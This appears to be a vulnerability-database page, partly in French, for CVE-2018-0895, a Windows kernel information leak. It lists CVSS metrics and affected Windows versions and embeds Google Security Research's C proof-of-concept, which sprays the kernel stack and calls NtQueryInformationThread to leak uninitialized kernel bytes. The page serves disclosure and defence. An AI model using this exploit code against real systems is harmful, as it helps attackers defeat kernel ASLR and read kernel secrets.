CVE-2018-0895 : Détail

CVE-2018-0895

4.7
/
MEDIUM
0.1%V3
Local
2018-03-13 23:00 +00:00
2018-03-22 08:57 +00:00

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Descriptions

The Windows kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and 1709, Windows Server 2016 and Windows Server, version 1709 allows an information disclosure vulnerability due to the way memory addresses are handled, aka "Windows Kernel Information Disclosure Vulnerability". This CVE is unique from CVE-2018-0811, CVE-2018-0813, CVE-2018-0814, CVE-2018-0894, CVE-2018-0896, CVE-2018-0897, CVE-2018-0898, CVE-2018-0899, CVE-2018-0900, CVE-2018-0901 and CVE-2018-0926.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-401 Missing Release of Memory after Effective Lifetime
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
CWE-665 Improper Initialization
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 44309

Date de publication : 2018-03-19 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* We have discovered that the nt!NtQueryInformationThread system call invoked with the 0 information class (ThreadBasicInformation) discloses portions of uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10. The specific layout of the corresponding output buffer is unknown to us; however, we have determined that the output size is 48 bytes. At offset 4 of the data, 4 uninitialized bytes from the kernel stack are leaked to the client application. This is most likely caused by compiler-introduced alignment between the first and second field of the structure (4-byte and 8-byte long, respectively). This would also explain why the leak does not manifest itself on x86 builds, as the second field is 4-byte long and therefore must be aligned to 4 instead of 8 bytes. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows: --- cut --- 00000000: 03 01 00 00 41 41 41 41 00 a0 10 2c f2 00 00 00 ....AAAA...,.... 00000010: 90 1b 00 00 00 00 00 00 1c 3a 00 00 00 00 00 00 .........:...... 00000020: ff 0f 00 00 00 00 00 00 09 00 00 00 00 00 00 00 ................ --- cut --- It is clearly visible here that 4 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, the top 32 bits of raw kernel pointers can be observed in the output. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #define ThreadBasicInformation ((THREADINFOCLASS)0) VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } int main() { SprayKernelStack(); BYTE OutputBuffer[48] = { /* zero padding */ }; ULONG ReturnLength; NTSTATUS st = NtQueryInformationThread(GetCurrentThread(), ThreadBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationThread failed, %x\n", st); return 1; } PrintHex(OutputBuffer, ReturnLength); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server >> Version 1709

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version *

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securitytracker.com/id/1040517
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103238
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44309/
Tags : exploit, x_refsource_EXPLOIT-DB
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